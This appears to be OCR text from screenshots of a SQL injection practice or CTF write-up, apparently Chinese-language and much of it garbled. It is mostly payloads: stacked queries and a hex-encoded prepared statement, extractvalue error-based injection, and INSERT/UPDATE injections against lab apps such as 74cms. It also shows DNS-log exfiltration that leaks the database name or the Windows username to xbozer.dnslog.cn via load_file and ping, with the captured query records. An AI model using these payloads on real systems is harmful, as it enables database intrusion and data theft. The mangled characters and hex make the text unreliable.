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SELECT * FROM ~sy_guestbook™ WHERE id = 1;CREATE TABLE gushi LIKE sy_guestbook;
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';show databases;

';show tables;

';show columns from "1919810931114514° ;

';select flag from 1919810931114514 ;

';SeT 0x73656Cc6563742022a206672616d20603139313938313039333131313435313460; prepare execsql from ;execute exec
sql;
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error 1105 : XPATH syntax error: ' supersqli’
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@ Load URL http://8f0f1 2b2-6b0a-4f27-9f7e-62d33d540c96.node4 . buuoj.cn:81/7inject=1" and extractvalue('~',concat('~',database())) --+
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select username from user where email='F J* %’
(g2 i fth N R R A T RATEA A 4)
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flag{0741c78d-fca4-494e-a859-cfh537e39ab3}
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http://127.0.0.1/74cms/
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xxX ,address=user()#

Hibk: 123

insert address value('123’)
insert address value(”,user()#")
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xxxX' ,address=version()#

xxxx',address=version()# (it 1)

BRZxieE: | 5553 IR | 2014108 22019118
SEiRIEE 2022-04-21 FREK: xxxx' address=version()#

xxX ,address=user()#
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wlbFER: | 2027182202198

FREFR: | oo address=user()#
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Hir: #E2flag adminf /
EMIKS: admin#(1biE6) 5N E) (—KEN)D
INSERT INTO user VALUES (‘admin#',">00000¢ )
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UPDATE user SET password = ‘aaaa’ WHERE username = ‘admin'#’
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select load_file(concat('\V,(select database()), . xbozer.dnslog.cn\aa’));
and (select load_file(concat(‘//,(select database()), . xbozer.dnslog.cn/abc’)))

xbozer.dnslog.cn

DNS Query Record IP Address Created Time
syguestbook.xbozer.dnslog.cn 61.163.2524 2022-04-20 23:59:54
syguestbook.xbozer.dnslog.cn 61.163.252.11 2022-04-20 23:59:53

http://127.0.0.1/blog/news.php?id=2%20select%20load_file(concat(%27\\W\%27,(select%20database()), %27.xbozer.dnslog.cn\\aa%27))
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ping %USERNAME %.xbozer.dnslog.cn

Get SubDomain | | Refresh Record

xbozer.dnslog.cn

DNS Query Record IP Address Created Time
kui.xbozerdnslog.cn 61.163.252.10 2022-04-20 23:56:20
kui.xbozerdnslog.cn 202.102.224.251 2022-04-20 23:56:16
kui.xbozerdnslog.cn 61.163.252.2 2022-04-20 23:56:15
kui.xbozerdnslog.cn 202.102.224.14 2022-04-20 23:56:13
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